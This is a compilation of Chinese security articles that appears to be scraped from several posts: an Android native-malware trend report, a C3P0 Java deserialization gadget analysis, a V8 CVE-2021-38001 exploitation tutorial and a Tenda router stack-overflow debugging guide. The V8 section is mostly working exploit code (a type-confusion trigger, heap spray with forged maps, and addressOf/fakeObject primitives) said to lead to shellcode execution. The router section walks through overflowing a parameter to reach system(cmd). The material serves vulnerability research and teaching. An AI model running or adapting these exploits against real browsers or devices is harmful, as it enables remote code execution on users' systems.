CVE-2015-3636 | pingpong root | Android5.1及以下 |
★★★★★
### “抢占先机”的64位Android Native病毒
你以为这就完了？那还真是低估病毒作者了。为了躲避杀毒软件以及抢占市场先机，病毒作者们也是使出了浑身解数，64位Android
Native病毒也在此时“华丽登场”了。下面就给大家介绍下2018年影响最大的两类64位Android Native病毒。
**Dm家族**
Dm家族为蜥蜴之尾病毒的64位变种。蜥蜴之尾包含launcher和核心作恶的ELF可执行模块两个部分。
本次受感染的为64位系统版本。木马首先感染系统进程启动时依赖的正常库文件，在库文件的导入表里添加launcher的路径，使守护进程随操作系统启动，并执行launcher的恶意代码。
**Runas家族**
Dm病毒已是很隐蔽了，Runas 64位病毒就更低调了，让我们来看看它都有哪些必杀技：
1. 为/system系统目录下的隐藏文件，用户难以察觉
2. 同时支持32位，64位Android系统
3. 运行时修改sepolicy，绕过SEAndroid安全机制
4. 替换系统debuggerd文件，设置守护进程
5. 删除/system/app下的系统应用（包括安全软件），为其释放恶意文件腾空间
6. 注入到系统Phone进程，进行其黑产行为
啧啧啧，简直是闷声发大财啊。
下图便是该病毒的执行流程。
## 0x03 Android Native病毒趋势
### 突破更高版本
病毒获得手机Root权限以后，基本就可以为所欲为，而最直接粗暴有效的攻击就是替换手机原生的系统文件，从而实现自启动、自我保护功能。如“长老木马”病毒会替换Android系统的守护进程debuggerd、“地狱火”病毒替换vold、“蜥蜴之尾”感染系统文件/system/lib/liblog.so。
此类攻击系统对象的前提是要对/system分区进行修改。/system分区是存放谷歌或厂商提供的Android组件的地方，该目录及其中存储的文件都属于root用户，且基于稳定性和安全性考虑，该文件系统以只读方式存在。但只要进程获得了root权限，就可以通过读写方式重新挂载
/system分区，随意对/system进行修改。
为了保护系统不被恶意修改，验证启动机制（verified boot）会尽力确保所有已执行代码均来自可信来源（通常是设备的原始设备制造商
[OEM]），以防止受到攻击或损坏。它可建立一条从受硬件保护的信任根到引导加载程序，再到启动分区和其他已验证分区（包括 system、vendor 和可选的
OEM 分区）的完整信任链。从 Android 7.0 开始，系统会严格强制执行验证启动，从而使遭到入侵的设备无法启动。Android 8.0
及更高版本包含 Android 验证启动
(AVB2.0)，系统会阻止用户启动到更早版本的系统——某些攻击者可能采用回滚系统的方式来攻击，毕竟老版本的系统会包含一些已经公开的漏洞。有些厂商，例如HTC会用闪存分区写保护的方式来保证/system分区只读，即便重新挂载
/system分区，对它做的修改也不会生效。
尽管Android新版本具备了上述安全保护措施，但Android系统漏洞，以及预装了病毒APK的第三方ROM等问题依然存在，高版本Android系统仍然存在着被root的风险。
### 兼容64位
HTC的Nexus 9装载了第一块64位ARM处理器后，高通紧跟着发布了骁龙810处理器，谷歌也宣布Nexus
5X和6P是64位设备。64位处理器的优势包括大于4GB的内存地址空间寻址能力、更低的耗电量。截至2017年底，40%的Android设备都支持64位版本。一般来说，如果App用的是原生库，那么64位代码通常能显著提升性能，因为该架构支持更多的寄存器数量和更新的指令集。
预期未来Android设备可能只提供64位代码支持。2017底，Google要求所有Android应用程序及更新包从2019年8月开始在无32位支持的设备上也能运行，使用32位库的App需要同时兼容64位库——发布时打包在APK内。
目前360已支持64位Android Native病毒查杀，为广大64位手机用户安全上网保驾护航。
### 基于Android的物联网操作系统
2015年，谷歌提出了Project
IoT，物联网计划，并发布了Brillo操作系统。Brillo是一个物联网底层操作系统。其基于Android，得到了Android的全部支持，比如蓝牙、Wifi等技术，任何设备制造商都可以直接使用。
2016 年 12 月，谷歌升级了Brillo——推出物联网操作系统 Android Things。Android Things
除了支持NDK开发，还支持基于Android和谷歌API进行应用开发，即能用Java开发应用。经过近一年的积累与准备，在2018年5月，谷歌正式发布Android
Things 1.0，并提供3年的免费更新服务。开发者可使用相同 Android 标准的开发工具在 Android Things
上开发，并快速完成从原型到产品的整个过程。其应用几乎涵盖了物联网的所有领域，包括智能家居、车联网、智慧城市、工业4.0等。
Android Things 1.0 无疑是个美好的开始，但IoT安全一直是个重要的话题，据2018年数据显示，大量Linux
IoT设备受到僵尸网络Mirai和Gafgyt及其变种攻击，因此在Android Things受到热烈欢迎的同时，其安全性也需要受到持续关注。 | 社区文章 |
# 前尘——数据连接池下的至暗之处
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
这是分析Java反序列化系列的第四篇文章,内容的填充度已经过半。此系列的每一篇文章 都会对漏洞产生的原因进行剖析，理解事物的原理往往在攻击时发挥奇效。
C3P0是一个开源的JDBC连接池，它实现了数据源和JNDI绑定，支持JDBC3规范和JDBC2的标准扩展。目前使用它的开源项目有Hibernate、Spring等。
## 序列化与反序列化
既然是反序列化漏洞必然要提起的就是序列化与反序列化，如果还有读者对这个概念不清楚请参考文章[《前尘——与君再忆CC链》](https://www.anquanke.com/post/id/238480),在Java反序列化漏洞中，序列化和反序列化是理解这些漏洞的基本条件。
## 导入Maven依赖
<dependencies>
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.5</version>
</dependency>
</dependencies>
此依赖为c3p0最新版本依赖，更新于2019年12月
最新版本没有修复此问题
## 漏洞跟踪
**直接进入网上公开的链条类打开就是一顿分析** com/mchange/v2/c3p0/impl/PoolBackedDataSourceBase
**分析了这么多的漏洞链条，其实道理很简单。将网上纰漏的漏洞类打开直接往下翻往下翻找到readObject()方法对其内容进行跟进就可以，三板斧直接一顿怼。**
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
short version = ois.readShort();
switch(version) {
case 1:
Object o = ois.readObject();
if (o instanceof IndirectlySerialized) {
o = ((IndirectlySerialized)o).getObject();
}
this.connectionPoolDataSource = (ConnectionPoolDataSource)o;
this.dataSourceName = (String)ois.readObject();
o = ois.readObject();
if (o instanceof IndirectlySerialized) {
o = ((IndirectlySerialized)o).getObject();
}
this.extensions = (Map)o;
this.factoryClassLocation = (String)ois.readObject();
this.identityToken = (String)ois.readObject();
this.numHelperThreads = ois.readInt();
this.pcs = new PropertyChangeSupport(this);
this.vcs = new VetoableChangeSupport(this);
return;
default:
throw new IOException("Unsupported Serialized Version: " + version);
}
}
**获取版本,使用switch case关键字做分支处理。这里拿到的version是1,所有走case1.**
`Object o = ois.readObject();`
**此语句反序列化出一个referenceSerialized对象，instanceof关键字用来测试一个对象是否为一个类的实例。com.mchange.v2.naming.ReferenceIndirector类中存在内部类ReferenceSerialized实现了IndirectlySerialized接口，所以类型比对通过。**
**然后调用IndirectlySerialized类的getObject方法，但是ReferenceSerialized实现了IndirectlySerialized接口。所以实际使用多态的方式调用的是ReferenceSerialized的getObject方法**
ReferenceSerialized( Reference reference,
Name name,
Name contextName,
Hashtable env )
{
this.reference = reference;
this.name = name;
this.contextName = contextName;
this.env = env;
}
**在ReferenceSerialized构造函数中传入四个值进行赋值**
public Object getObject() throws ClassNotFoundException, IOException
{
try
{
Context initialContext;
if ( env == null )
initialContext = new InitialContext();
else
initialContext = new InitialContext( env );
Context nameContext = null;
if ( contextName != null )
nameContext = (Context) initialContext.lookup( contextName );
return ReferenceableUtils.referenceToObject方法将( reference, name, nameContext, env );
}
catch (NamingException e)
{
//e.printStackTrace();
if ( logger.isLoggable( MLevel.WARNING ) )
logger.log( MLevel.WARNING, "Failed to acquire the Context necessary to lookup an Object.", e );
throw new InvalidObjectException( "Failed to acquire the Context necessary to lookup an Object: " + e.toString() );
}
}
**如果contextName不为空则使用lookup，进行rmi触发远程调用，但是这里的contextName为空只能向下分析
return中调用了ReferenceableUtils类的referenceToObject方法将构造函数中传入的四个值当作参数传入继续跟进。**
**reFerenceToObject根据Reference对象来获取工厂类的名字，以及工厂类的地址，接着拿到类加载器，拿到appClassLoader(一般程序中类加载都用这个，它的上面还有jre核心类运行的加载(rt.jar)bootstrap
classloader和扩展类加载ext classloader)
接着就判断工厂类地址是否为空，不为空则去远程地址加载工厂类，这里用到了urlclassLoader，然后通过class.forname生成一个class
类型的实例，就加载到了工厂类，即我们的恶意字节码类
**
这个洞有点像spring-tx的那个漏洞，[《前尘——三层架构粘合剂的爱恨情愁》](https://www.anquanke.com/post/id/240032)
## 总结
个人认为此个序列化漏洞大致了解即可，因为此依赖新的架构项目已经不被广泛使用了，并且maven可以的看到最后一次更新在2019年。
Java反序列化一直是一个 老生常谈的问题,理解这些原理性的知识可以更好的帮助我们找到执行链,你我终有一天也会发现理解事物的本质是如此重要。 | 社区文章 |
**作者：Hcamael@知道创宇404实验室**
**相关阅读：[从 0 开始学 V8 漏洞利用之环境搭建（一）](https://paper.seebug.org/1820/ "从 0 开始学 V8
漏洞利用之环境搭建（一）")
[从 0 开始学 V8 漏洞利用之 V8 通用利用链（二）](https://paper.seebug.org/1821/ "从 0 开始学 V8
漏洞利用之 V8 通用利用链（二）")
[从 0 开始学 V8 漏洞利用之 starctf 2019 OOB（三）](https://paper.seebug.org/1822/ "从 0 开始学
V8 漏洞利用之 starctf 2019 OOB（三）")
[从 0 开始学 V8 漏洞利用之 CVE-2020-6507（四）](https://paper.seebug.org/1823/ "从 0 开始学 V8
漏洞利用之 CVE-2020-6507（四）")
[从0开始学 V8 漏洞利用之 CVE-2021-30632（五）](https://paper.seebug.org/1824/ "从0开始学 V8
漏洞利用之 CVE-2021-30632（五）")**
CVE-2021-38001漏洞分析
第四个研究的是`CVE-2021-38001`，其chrome的bug编号为：1260577
其相关信息还未公开，但是我们仍然能得知：
受影响的Chrome最高版本为：`95.0.4638.54` 受影响的V8最高版本为：`9.5.172.21`
# 搭建环境
一键编译相关环境：
$ ./build.sh 9.5.172.21
该漏洞是2021年天府杯上提交的漏洞，在网上也只有一篇相关分析和PoC:
import * as module from "1.mjs";
function poc() {
class C {
m() {
return super.y;
}
}
let zz = {aa: 1, bb: 2};
// receiver vs holder type confusion
function trigger() {
// set lookup_start_object
C.prototype.__proto__ = zz;
// set holder
C.prototype.__proto__.__proto__ = module;
// "c" is receiver in ComputeHandler [ic.cc]
// "module" is holder
// "zz" is lookup_start_object
let c = new C();
c.x0 = 0x42424242 / 2;
c.x1 = 0x42424242 / 2;
c.x2 = 0x42424242 / 2;
c.x3 = 0x42424242 / 2;
c.x4 = 0x42424242 / 2;
// LoadWithReceiverIC_Miss
// => UpdateCaches (Monomorphic)
// CheckObjectType with "receiver"
let res = c.m();
}
for (let i = 0; i < 0x100; i++) {
trigger();
}
}
poc();
该漏洞在原理的理解上有一些难度，不过仍然能使用套模板的方法来编写EXP，不过在套模板之前我们先来学一个新技术：V8通用堆喷技术
# V8通用堆喷技术
首先来做个简单的测试：
a = Array(100);
%DebugPrint(a);
%SystemBreak();
使用`vmmap`查看堆布局：
0x1f7a00000000 0x1f7a00003000 rw-p 3000 0 [anon_1f7a00000]
0x1f7a00003000 0x1f7a00004000 ---p 1000 0 [anon_1f7a00003]
0x1f7a00004000 0x1f7a0001a000 r-xp 16000 0 [anon_1f7a00004]
0x1f7a0001a000 0x1f7a0003f000 ---p 25000 0 [anon_1f7a0001a]
0x1f7a0003f000 0x1f7a08000000 ---p 7fc1000 0 [anon_1f7a0003f]
0x1f7a08000000 0x1f7a0802a000 r--p 2a000 0 [anon_1f7a08000]
0x1f7a0802a000 0x1f7a08040000 ---p 16000 0 [anon_1f7a0802a]
0x1f7a08040000 0x1f7a0814d000 rw-p 10d000 0 [anon_1f7a08040]
0x1f7a0814d000 0x1f7a08180000 ---p 33000 0 [anon_1f7a0814d]
0x1f7a08180000 0x1f7a08183000 rw-p 3000 0 [anon_1f7a08180]
0x1f7a08183000 0x1f7a081c0000 ---p 3d000 0 [anon_1f7a08183]
0x1f7a081c0000 0x1f7a08240000 rw-p 80000 0 [anon_1f7a081c0]
0x1f7a08240000 0x1f7b00000000 ---p f7dc0000 0 [anon_1f7a08240]
其中我们注意一下最后一块堆相关信息：
0x1f7a081c0000 0x1f7a08240000 rw-p 80000 0 [anon_1f7a081c0]
pwndbg> x/16gx 0x1f7a081c0000
0x1f7a081c0000: 0x0000000000040000 0x0000000000000004
0x1f7a081c0010: 0x000056021f06d738 0x00001f7a081c2118
0x1f7a081c0020: 0x00001f7a08200000 0x000000000003dee8
0x1f7a081c0030: 0x0000000000000000 0x0000000000002118
0x1f7a081c0040: 0x000056021f0efae0 0x000056021f05f5a0
0x1f7a081c0050: 0x00001f7a081c0000 0x0000000000040000
0x1f7a081c0060: 0x000056021f0ed840 0x0000000000000000
0x1f7a081c0070: 0xffffffffffffffff 0x0000000000000000
以下为该堆块的相关结构：
0x1f7a081c0000: size = 0x40000
0x1f7a081c0018: 堆的起始地址为0x00001f7a081c2118，在V8的堆结构中有0x2118字节用来存储堆结构相关信息
0x1f7a081c0020: 堆指针，表示该堆已经被使用到哪了
0x1f7a081c0028: 已经被使用的size, 0x3dee8 + 0x2118 = 0x40000
再来看看后面的堆布局：
pwndbg> x/16gx 0x1f7a081c0000 + 0x40000
0x1f7a08200000: 0x0000000000040000 0x0000000000000004
0x1f7a08200010: 0x000056021f06d738 0x00001f7a08202118
0x1f7a08200020: 0x00001f7a08240000 0x000000000003dee8
0x1f7a08200030: 0x0000000000000000 0x0000000000002118
0x1f7a08200040: 0x000056021f0f0140 0x000056021f05f5a0
0x1f7a08200050: 0x00001f7a08200000 0x0000000000040000
0x1f7a08200060: 0x000056021f0fd3c0 0x0000000000000000
0x1f7a08200070: 0xffffffffffffffff 0x0000000000000000
结构同上，可以发现，在`0x1f7a081c0000 0x1f7a08240000 rw-p 80000 0
[anon_1f7a081c0]`内存区域中，由两个大小为`0x40000`的v8的堆组成。
如果这个时候，我申请一个`0xf700`大小的数组，在新版v8中，一个地址4字节，那么就是需要`0xf700 * 4 + 0x2118 =
0x3fd18`，再对齐一下，那么就是`0x40000`大小的堆，我们来测试一下：
a = Array(0xf700);
%DebugPrint(a);
%SystemBreak();
得到变量`a`的信息为：
DebugPrint: 0x2beb08049929: [JSArray]
- map: 0x2beb08203ab9 <Map(HOLEY_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x2beb081cc0e9 <JSArray[0]>
- elements: 0x2beb08242119 <FixedArray[63232]> [HOLEY_SMI_ELEMENTS]
- length: 63232
- properties: 0x2beb0800222d <FixedArray[0]>
- All own properties (excluding elements): {
0x2beb080048f1: [String] in ReadOnlySpace: #length: 0x2beb0814215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x2beb08242119 <FixedArray[63232]> {
0-63231: 0x2beb0800242d <the_hole>
}
发现堆布局的变化:
0x2beb081c0000 0x2beb08280000 rw-p c0000 0 [anon_2beb081c0]
size从`0x80000`变成了`0xc0000`，跟我预想的一样，增加了`0x40000`，而变量`a`的`elements`字段地址为`0x2beb081c0000
+ 0x80000 + 0x2118 + 0x1 = 0x2beb08242119`
在新版的V8种，因为启用的地址压缩特性，在堆中储存的地址为4字节，而根据上述堆的特性，我们能确定低2字节为`0x2119`
另外，堆地址总是从`0x00000000`开始的，在我的环境中，上述堆的高2字节总是`0x081c`，该数值取决于V8在前面的堆中储存了多少数据，该值不会随机变化，比如在写好的脚本中，该值基本不会发生改变。所以现在，可以确定一个有效地址：`0x081c0000
+ 0x2118 + 0x1 + 0x80000 + 0x40000 * n, n>=0`
如果在比较复杂的环境中，可以增加Array的数量，然后定一个比较大的值，如以下一个示例：
big_array = [];
for (let i = 0x0; i < 0x50; i++) {
tmp = new Array(0x100000);
for (let j = 0x0; j < 0x100; j++) {
tmp[0x18 / 0x8 + j * 0x1000] = itof(i * 0x100 + j);
}
big_array.push(tmp);
}
通过该方法堆喷，我们能确定一个地址：`0x30002121`，然后通过以下代码可以获取到`u2d(i * 0x100 + j, 0)`的值，从而算出i,j:
var u32 = new Uint32Array(f64.buffer);
getByteLength = u32.__lookupGetter__('byteLength');
byteLength = getByteLength.call(evil);
该方法的作用是获取`Uint32Array`类型变量的`bytelength`属性，可以通过调试，了解一下`Uint32Array`类型变量的结构。
但是为什么evil(地址为0x30002121)，会被当成`Uint32Array`类型的变量呢，因为使用上述方法，V8不会检查变量类型吗？当然不是，上面的代码并不完整，完整的代码还需要伪造map结构，地址我们可以算出来，而map结构的会被检查的数据都是flag标志为，该值固定，所以使用gdb查看一下相关变量的map结构，就能进行伪造了，完整的堆喷代码如下：
ut_map = itof(0x300021a1);
buffer = itof(0x3000212900000000);
address = itof(0x12312345678);
ut_map1 = itof(0x1712121200000000);
ut_map2 = itof(0x3ff5500082e);
ut_length = itof(0x2);
double_map = itof(0x300022a1);
double_map1 = itof(0x1604040400000000);
double_map2 = itof(0x7ff11000834);
big_array = [];
for (let i = 0x0; i < 0x50; i++) {
tmp = new Array(0x100000);
for (let j = 0x0; j < 0x100; j++) {
tmp[0x0 / 0x8 + j * 0x1000] = ut_map;
tmp[0x8 / 0x8 + j * 0x1000] = buffer;
tmp[0x18 / 0x8 + j * 0x1000] = itof(i * 0x100 + j);
tmp[0x20 / 0x8 + j * 0x1000] = ut_length;
tmp[0x28 / 0x8 + j * 0x1000] = address;
tmp[0x30 / 0x8 + j * 0x1000] = 0x0;
tmp[0x80 / 0x8 + j * 0x1000] = ut_map1;
tmp[0x88 / 0x8 + j * 0x1000] = ut_map2;
tmp[0x100 / 0x8 + j * 0x1000] = double_map;
tmp[0x180 / 0x8 + j * 0x1000] = double_map1;
tmp[0x188 / 0x8 + j * 0x1000] = double_map2;
}
big_array['push'](tmp);
}
后续利用中同样可以使用该思路伪造一个`doule`数组的变量或者`obj`数组的变量。
# 套模版
接下来又到套模板的时间了，暂时先不用管漏洞成因，漏洞原理啥的，我们先借助PoC，来把我们的exp写出来。
## 研究PoC
可以把PoC化简一下：
import('./2.mjs').then((m1) => {
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);
function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}
function itof(i)
{
bigUint64[0] = i;
return f64[0];
}
class C {
m() {
return super.x;
}
}
obj_prop_ut_fake = {};
for (let i = 0x0; i < 0x11; i++) {
obj_prop_ut_fake['x' + i] = u2d(0x40404042, 0);
}
C.prototype.__proto__ = m1;
function trigger() {
let c = new C();
c.x0 = obj_prop_ut_fake;
let res = c.m();
return res;
}
for (let i = 0; i < 10; i++) {
trigger();
}
let evil = trigger();
%DebugPrint(evil);
});
运行一下`PoC`，可以发现，最后的结果为：`DebugPrint: Smi: 0x20202021
(538976289)`，SMI类型的变量，值为`0x20202021`，在内存中的储存值为其两倍：`0x20202021 * 2 =
0x40404042`，也就是我们在PoC中设置的值。
## 编写堆喷代码
在PoC中加上我们的堆喷代码（同时进行堆布局）：
a = [2.1];
b_1 = {"a": 2.2};
b = [b_1];
double_array_addr = 0x082c2121+0x100;
double_array_map0 = itof(0x1604040408002119n);
double_array_map1 = itof(0x0a0007ff11000834n);
ptr_array_addr = 0x08242119;
ptr_array = new Array(0xf700);
ptr_array[0] = a;
ptr_array[1] = b;
big_array = new Array(0xf700);
big_array[0x000/8] = u2d(double_array_addr, 0);
big_array[0x008/8] = u2d(ptr_array_addr, 0x2);
big_array[0x100/8] = double_array_map0;
big_array[0x108/8] = double_array_map1;
其中`0x082c2121`为`big_array[0]`的地址，`0x08242119`为`ptr_array[0]`的地址。
然后是leak变量`a`和变量`b`的map地址：
let evil = trigger();
addr = d2u(evil[0]);
a_addr = addr[0];
b_addr = addr[1];
console.log("[*] leak a addr: 0x"+hex(a_addr));
console.log("[*] leak b addr: 0x"+hex(b_addr));
big_array[0x008/8] = u2d(a_addr - 0x8, 0x2);
double_array_map = evil[0];
big_array[0x008/8] = u2d(b_addr - 0x8, 0x2);
obj_array_map = evil[0];
console.log("[*] leak double_array_map: 0x"+hex(ftoi(double_array_map)));
console.log("[*] leak obj_array_map: 0x"+hex(ftoi(obj_array_map)));
## 编写addressOf函数
现在我们能来编写addressOf函数了：
function addressOf(obj_to_leak)
{
big_array[0x008/8] = u2d(b_addr - 0x8, 0x2);
b[0] = obj_to_leak;
evil[0] = double_array_map;
let obj_addr = ftoi(b[0])-1n;
evil[0] = obj_array_map;
return obj_addr;
}
## 编写fakeObj函数
接下来就是编写`fakeObj`函数：
function fakeObject(addr_to_fake)
{
big_array[0x008/8] = u2d(a_addr - 0x8, 0x2);
a[0] = itof(addr_to_fake + 1n);
evil[0] = obj_array_map;
let faked_obj = a[0];
evil[0] = double_array_map;
return faked_obj;
}
之后就是按照模版来了，修改修改偏移，就能执行shellcode了。
## 优化
该PoC还能进行一些优化，有时候没必要死抠着模板来，按照上文的所说的知识，我们能伪造map结构的数据，那自然不管是`double array
map`还是`obj array map`都能，所以没必要再泄漏这些数据了。
我们的堆喷代码能进行一些优化：
double_array_addr = 0x08282121+0x100;
obj_array_addr = 0x08282121+0x150;
array_map0 = itof(0x1604040408002119n);
double_array_map1 = itof(0x0a0007ff11000834n);
obj_array_map1 = itof(0x0a0007ff09000834n);
ptr_array_addr = 0x08282121 + 0x050;
big_array = new Array(0xf700);
big_array[0x000/8] = u2d(obj_array_addr, 0);
big_array[0x008/8] = u2d(ptr_array_addr, 0x2);
big_array[0x100/8] = array_map0;
big_array[0x108/8] = double_array_map1;
big_array[0x150/8] = array_map0;
big_array[0x158/8] = obj_array_map1;
其中`big_array[0x100/8]`是我们伪造的`double array
map`，`big_array[0x150/8]`是我们伪造的`object array map`。
`addressOf`函数和`fakeObj`函数也进行一波优化：
function fakeObject(addr_to_fake)
{
big_array[0x058/8] = itof(addr_to_fake + 1n);
let faked_obj = evil[0];
return faked_obj;
}
function addressOf(obj_to_leak)
{
evil[0] = obj_to_leak;
big_array[0x000/8] = u2d(double_array_addr, 0);
let obj_addr = ftoi(evil[0])-1n;
big_array[0x000/8] = u2d(obj_array_addr, 0);
return obj_addr;
}
## 其他PoC
该漏洞的PoC不仅有Github上公开的版本，还抓到一个在野利用的版本：
function triger_type_confusion() {
return obj;
}
obj_or_function = 1.1;
class C extends triger_type_confusion {
constructor() {
super();
obj_or_function = super.x;
}
}
obj_prop_ut_fake = {};
for (let i = 0x0; i < 0x11; i++) {
obj_prop_ut_fake['x' + i] = itof(0x30002121);
}
obj = {
'x1': obj_prop_ut_fake
};
C['prototype']['__proto__'] = q1;
for (let i = 0x0; i < 0xa; i++) {
new C();
}
new C();
fake_ut = obj_or_function;
不过跟Github上的PoC对比，略显麻烦了一些，不过原理仍然是一样的。
# 漏洞原理
该漏洞的成因跟之前我复现的漏洞相比，略微复杂了一下，需要补充一些V8的设计原理相关的知识，可以参考：、。
需要了解一下JS获取属性的原理，还有`Inline Caches`相关的知识。
这里我只简单说说该漏洞的问题：
在最开始执行10次`new C()`，因为`Lazy feedback
allocation`，所以并没有对属性访问进行优化，这个时候的`super`就是`m1`，但是在执行完10次之后，开始进行`Inline
Caches`优化，因为内联缓存代码的bug，super的值变成了变量`c`: `let c = new C();`，之后的流程如下：
1. `super.x`的取值顺序为：`JSModuleNamespace -> module(+0xC) -> exports (+0x4) -> y(+0x28) -> value(+0x4)`
2. 因为`Lazy feedback allocation`，`trigger`函数在执行10次之后，触发了`Inline Caches`，为了加速代码执行速度，把`super.x`取值的顺序直接转换成汇编代码。
3. 漏洞代码，在翻译汇编代码的时候，把`super`翻译成了变量`c`。
4. `c+0xC`位置储存的是`obj_prop_ut_fake`
5. `obj_prop_ut_fake+0x4`储存的是该变量的`properties`（属性），也就是`obj_prop_ut_fake.xn`
6. `obj_prop_ut_fake.properties + 0x28`获取到的是`HeapNumber`结构地址。
7. `HeapNumber+0x4`地址的值为`u2d(0x40404042, 0)`
# 参考
1. <https://bugs.chromium.org/p/chromium/issues/detail?id=1260577>
2. <https://github.com/vngkv123/articles/blob/main/CVE-2021-38001.md>
3. <https://v8.dev/blog/v8-lite>
4. <https://mathiasbynens.be/notes/shapes-ics#ics>
* * * | 社区文章 |
[TOC]
# 漏洞说明
There is a buffer overflow vulnerability in the router's web server. While processing the `ssid` parameter for a POST request, the value is directly used in a sprintf call to a local variable placed on the stack, which overrides the return address of the function, causing a buffer overflow.
POST方式传递ssid参数内容导致溢出。
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-16333>
固件和poc：：<https://github.com/Snowleopard-bin/pwn/tree/master/IOT/Tenda_CVE-2018-16333>
# IDA分析
1，由于shift+F12快捷方式有些字符串搜索不出来，可以用如下方法
小技巧：
ALT + T 搜索字符串
CTRL + T 重复上一个搜索
ALT + B 二进制字节序列方式搜索
CTRL + B 重复上一个搜索
类推...
2，根据ssid字符串定位到form_fast_setting_wifi_set函数。（或者找到strcpy函数然后通过x交叉引用的方法也能很快定位到form_fast_setting_wifi_set函数）
漏洞产生点：程序获取ssid参数后，没有经过检查就直接使用strcpy函数复制到栈变量中。
注意：这里有个细节：第一次的strcpy如果要溢出到返回地址，会覆盖第二次的strcpy的src（因为在同一个栈中造成数据被覆盖重叠，导致如果src起始地址可能是无效指针，第二次strcpy流程将不会按计划控制，下图说明），但并不会影响第一次的strcpy，所以，解决方案可以选择在libc中选择一个可读有效执行的地址覆盖src指针（任何一个保证不包含\x00的地址都行）。
想办法构造poc去执行system(cmd)。
# qemu user级调试
1，安装qemu-user-static：
sudo apt install qemu-user-static
2,qemu用户模式启动程序（当前目录处于squashfs-root/ ）：
cp $(which qemu-arm-static) ./
sudo chroot ./ ./qemu-arm-static ./bin/httpd
启动时程序需要做一些程序修复工作：
修复工作：程序流程卡死在某条指令处，可通过一些方法，改变流程使程序不影响主体功能的情况下运行起来。一般可以Hook函数，或则patch某些位置打上补丁。
启动时会遇到如下情况：
3，在IDA中根据出现的字符串搜索，通过X交叉引用的方法定位到程序停止的位置处。
程序是走了线路②的流程，然后提示上面报错内容，我们通过分析直接patch掉①处的循环，和②处的逻辑，程序即可继续正常执行下。（patch掉check_network函数和ConnectCfm函数的返回值为1即可）
可利用IDA插件keypatch完成。
安装方法：
[可能还得自己安装依赖库]https://github.com/keystone-engine/keypatch
[安装详细方法]https://www.chinapyg.com/thread-138385-1-1.html
4，path后的程序直接替换原来的httpd，重新执行命令启动：
我这里因为我早已经构建了br0网卡，所以直接成功了。
未搭建网卡的可能遇见网络配置问题：
类似这种无法识别到网卡分配IP
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
[httpd][debug]----------------------------webs.c,157
Unsupported setsockopt level=1 optname=13
httpd listen ip = 255.255.255.255 port = 80
参考：[https://xz.aliyun.com/t/7357?spm=5176.12901015.0.i12901015.65db525cQBSuI3&accounttraceid=1d7f8f3f083842dba12fa62662c34665asfk](https://xz.aliyun.com/t/7357?spm=5176.12901015.0.i12901015.65db525cQBSuI3&accounttraceid=1d7f8f3f083842dba12fa62662c34665asfk)
原因导致主要是如下函数导致的，由于是产商自己写的函数，无法通过源码分析具体功能，只能大致推测出功能，（后面可以在调试中看到读取了br0网卡）：
v2 = getLanIfName();
if ( getIfIp(v2, &v15) < 0 )
{
GetValue((int)"lan.ip", (int)&s);
strcpy(g_lan_ip, &s);
memset(&v11, 0, 0x50u);
if ( !tpi_lan_dhcpc_get_ipinfo_and_status(&v11) && v11 )
vos_strcpy(g_lan_ip, &v11);
}
大概的流程就是去寻找br0这个网络接口的IP,并在这个ip进行监听。
5，当遇到无法分配IP的时候（255.255.255.255情况），自行搭建虚拟网桥br0
apt-get install bridge-utils
apt-get install uml-utilities
brctl addbr br0
brctl addif br0 ens33
ifconfig br0 up
dhclient br0
参考：<https://wzt.ac.cn/2021/05/28/QEMU-networking/>
<https://blog.csdn.net/u014022631/article/details/53411557>
[可以仔细看看qemu虚拟机是如何实现网络交互通信的]
6，然后启动就能成功把http程序跑起来了。
# 用户模式下测试
我用的方式是手工通过bp改包的方式验证，也能通过脚本执行验证（下面qemu-system系统模式下会演示），用户模式下由于Libc基址容易出现问题（即使关了ASLR里面也看运气，真玄学），所以此处手工进行验证。
`不过有一篇文章可以参考下如何解决qemu-user用户模式下解决libc问题。`
<https://cq674350529.github.io/2020/05/09/%E6%8A%80%E5%B7%A7misc/#more>
1，访问web界面，程序已经跑起来了，只是缺少某些配置文件导致access error：
2，测试正常情况下，存在溢出位置处的目录
3，给ssid传入垃圾数据。
4，程序崩溃，验证成功，此处存在溢出
# 用户模式下qemu+gdb调试
想看看异常退出发生了什么，可以进行调试看看。
1，调式 启动执行程序
sudo chroot ./ ./qemu-arm-static -g 1234 ./bin/httpd
2，gdb远程连接
gdb-multiarch -q ./bin/httpd
set architecture arm
tar remote 127.0.0.1:1234 #我的IDA是在虚拟机本地的，你也可以和外面主机连，只要ping的通就可以
c #c之后程序才会执行挂起
3,利用上述的bp方式改包发送数据：
最终程序终止到了此处：
4,此处我们可以看看Libc基址情况：
方法一：
sudo netstat -tunpl|grep 80 #查看进程PID
sudo cat /proc/12422/maps #查看libc情况
方法二：gdb的vmmap功能
下断点在0xf65da50c处查看信息：
同时可以发现读取了br0网卡信息。
`对比不同方式（gdb加载进程的顺序不同）加载libc的基址：`
而且gdb一加载进程就提示了libc问题
# qemu 系统模式下测试+调试
1，同样先配通网卡(不熟悉的同学一定要去看上面那篇分享的文章搞明白哦)
#我的宿主机的上网的网卡为ens33，并且存在多个虚拟网卡
ifconfig ens33 down # 首先关闭宿主机网卡接口
brctl addbr br0 # 添加一座名为 br0 的网桥
brctl addif br0 ens33 # 在 br0 中添加一个接口
brctl stp br0 on #打开生成树协议
brctl setfd br0 2 # 设置 br0 的转发延迟
brctl sethello br0 1 # 设置 br0 的 hello 时间
ifconfig br0 0.0.0.0 promisc up # 启用 br0 接口
ifconfig ens33 0.0.0.0 promisc up # 启用网卡接口
dhclient br0 # 从 dhcp 服务器获得 br0 的 IP 地址
brctl show br0 # 查看虚拟网桥列表
brctl showstp br0 # 查看 br0 的各接口信息
